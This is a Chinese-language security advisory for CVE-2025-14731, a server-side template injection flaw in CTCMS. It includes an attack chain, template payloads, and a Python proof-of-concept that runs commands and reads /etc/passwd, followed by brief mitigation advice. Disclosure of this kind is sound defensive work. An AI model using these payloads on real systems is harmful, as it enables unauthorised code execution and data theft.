IPBUF安全漏洞报告
English
CVE-2025-14731 CVSS 6.3 中危

CVE-2025-14731 CTCMS模板引擎注入漏洞

披露日期: 2025-12-16

漏洞信息

漏洞编号
CVE-2025-14731
漏洞类型
服务器端模板注入(SSTI)
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
CTCMS Content Management System

相关标签

CVE-2025-14731服务器端模板注入SSTICTCMS远程代码执行模板引擎漏洞内容管理系统

漏洞概述

CVE-2025-14731是CTCMS内容管理系统中的一个高危安全漏洞,存在于2.1.2及之前版本中。该漏洞位于CTCMS/apps/libraries/CT_Parser.php文件的前端/模板管理模块中,由于程序对模板引擎中特殊元素的处理不当,攻击者可以通过构造恶意模板输入来执行任意代码。此漏洞无需高权限即可利用,具有网络访问能力的攻击者可以在低权限状态下完成攻击。CVSS评分6.3,属于中危漏洞,但考虑到攻击复杂度低、无需用户交互且已有公开利用代码,建议尽快修复。该漏洞已被标记为已公开利用的漏洞,对使用该系统的网站构成直接威胁。

技术细节

该漏洞属于服务器端模板注入(SSTI)类型。CTCMS的CT_Parser.php文件负责解析和渲染前端模板,攻击者可以通过在模板输入中注入模板引擎特殊语法来执行任意PHP代码。典型的SSTI攻击Payload利用双花括号{{}}或类似语法来调用PHP函数。在CTCMS中,攻击者可能通过以下方式利用:1) 在模板变量中注入{{system('命令')}}或{{exec('命令')}}等函数调用;2) 利用Twig、Smarty等模板引擎的{{7*7}}等调试语法进行探测;3) 使用{{_self}}、{{self}}等内置变量访问对象方法。攻击者通过构造包含PHP代码的模板输入,绕过模板引擎的正常解析流程,直接在服务器端执行恶意代码,从而实现远程代码执行、数据窃取或进一步横向移动。

攻击链分析

STEP 1
Reconnaissance
攻击者识别目标站点使用CTCMS内容管理系统,检查版本号是否低于或等于2.1.2
STEP 2
Vulnerability Discovery
访问/CTCMS/apps/libraries/CT_Parser.php或相关模板解析端点,通过注入{{7*7}}等表达式测试SSTI漏洞存在性
STEP 3
Payload Crafting
构造恶意模板Payload,如{{system('命令')}}或{{file_get_contents('敏感文件')}}来执行代码或读取系统文件
STEP 4
Remote Code Execution
通过模板注入执行系统命令,建立后门或获取服务器完全控制权
STEP 5
Lateral Movement
利用获得的服务器权限进行横向移动,窃取数据库数据或渗透内网其他系统

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
'''CVE-2025-14731 SSTI PoC for CTCMS Tested on CTCMS <= 2.1.2 Target: /ctcms/apps/libraries/CT_Parser.php ''' import requests import sys TARGET_URL = "http://target-site.com/ctcms/" def test_ssti_basic(): """Test basic SSTI detection with math expression""" payload = "{{7*7}}" params = { "template": payload, "module": "frontend" } try: response = requests.get(TARGET_URL, params=params, timeout=10) if "49" in response.text: print("[+] Vulnerable to SSTI! Math expression evaluated.") return True except requests.RequestException as e: print(f"[-] Request failed: {e}") return False def exploit_rce(): """Execute arbitrary command via SSTI""" # PHP system() function via template injection cmd = "whoami" # Change to desired command payload = f"{{{{system('{cmd}')}}}}" params = { "template": payload, "module": "frontend" } try: response = requests.get(TARGET_URL, params=params, timeout=10) print(f"[+] Command output: {response.text[:500]}") except requests.RequestException as e: print(f"[-] Exploit failed: {e}") def exploit_file_read(): """Read sensitive files via SSTI""" file_path = "/etc/passwd" payload = f"{{{{file_get_contents('{file_path}')}}}}" params = { "template": payload, "module": "frontend" } try: response = requests.get(TARGET_URL, params=params, timeout=10) print(f"[+] File content:\n{response.text[:500]}") except requests.RequestException as e: print(f"[-] File read failed: {e}") if __name__ == "__main__": print("[*] CVE-2025-14731 SSTI Scanner") print("[*] Target:", TARGET_URL) if test_ssti_basic(): print("[+] Target is vulnerable, attempting RCE...") exploit_rce() exploit_file_read() else: print("[-] Target may not be vulnerable or is not CTCMS")

影响范围

CTCMS <= 2.1.2

防御指南

临时缓解措施
临时缓解措施:在Web服务器层面配置规则,拦截包含{{、}}、${、_self、_loop等模板引擎特征字符的请求;对CT_Parser.php设置访问限制,仅允许授权IP访问;启用日志监控,及时发现异常的模板注入尝试请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表